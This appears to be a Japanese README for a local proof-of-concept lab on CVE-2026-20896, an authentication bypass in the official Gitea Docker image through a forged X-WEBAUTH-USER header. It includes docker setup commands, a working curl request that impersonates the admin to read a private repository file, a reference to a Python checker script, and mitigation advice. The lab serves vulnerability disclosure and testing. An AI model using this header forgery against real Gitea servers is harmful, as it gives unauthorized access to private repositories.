
CVE-2026-20896 の概念実証ラボおよび Python/cURL スクリプト。公式 Gitea Docker イメージにおける X-WEBAUTH-USER ヘッダーを介した認証バイパスを実証します。
[!WARNING] このPoCはローカルラボ、または明示的にテストを許可されたシステムに対してのみ使用してください。
https://github.com/user-attachments/assets/b73af2fe-0e59-438b-80d6-be93fd75697b
CVE-2026-20896 は、影響を受ける公式Gitea Dockerイメージにおける認証バイパスです。リバースプロキシ認証が有効な場合、イメージが生成する REVERSE_PROXY_TRUSTED_PROXIES = * 設定により、Giteaバックエンドに到達できるクライアントが X-WEBAUTH-USER ヘッダーを通じて既存ユーザーになりすますことができます。
このラボでは、ランダムなパスワードを持つ gitea-admin という名前の管理者を作成し、プライベートリポジトリ gitea-admin/private-proof に CVE-2026-20896_AUTH_BYPASS_CONFIRMED を保存します。ランダムな管理者パスワードを知らずにそのファイルを読み取ることで、バイパスを実証します。
| カテゴリ | バージョン |
|---|---|
| 脆弱 | 公式 gitea/gitea Dockerイメージ ≤ 1.26.2 |
| 最初の修正版 | 1.26.3 |
| 推奨 | 1.26.4 以降 |
脆弱な構成では、リバースプロキシ認証が有効であり、Giteaバックエンドに直接到達できるか、上流プロキシが攻撃者から提供されたIDヘッダーを保持している必要があります。このローカル再現にはリバースプロキシコンテナは不要です。
# build
docker build -t cve-2026-20896-gitea-vuln .
# run
docker run -d --rm --name cve-2026-20896-gitea-vuln -p 127.0.0.1:3000:3000 cve-2026-20896-gitea-vuln
Giteaとプライベートプルーフリポジトリが初期化されるまで数秒待ちます。
curl -s -L -H "X-WEBAUTH-USER: gitea-admin" http://127.0.0.1:3000/gitea-admin/private-proof/raw/branch/main/proof.txt
悪用に成功すると CVE-2026-20896_AUTH_BYPASS_CONFIRMED が返されます。
python poc.py http://127.0.0.1:3000
このスクリプトは、未認証、非管理者、および偽造された管理者リクエストを比較し、認可バイパスが確認された場合に VULNERABLE を出力します。Python 3.10以降が必要で、標準ライブラリのみを使用します。
REVERSE_PROXY_TRUSTED_PROXIES を信頼できるプロキシアドレスに制限してください。docker stop cve-2026-20896-gitea-vuln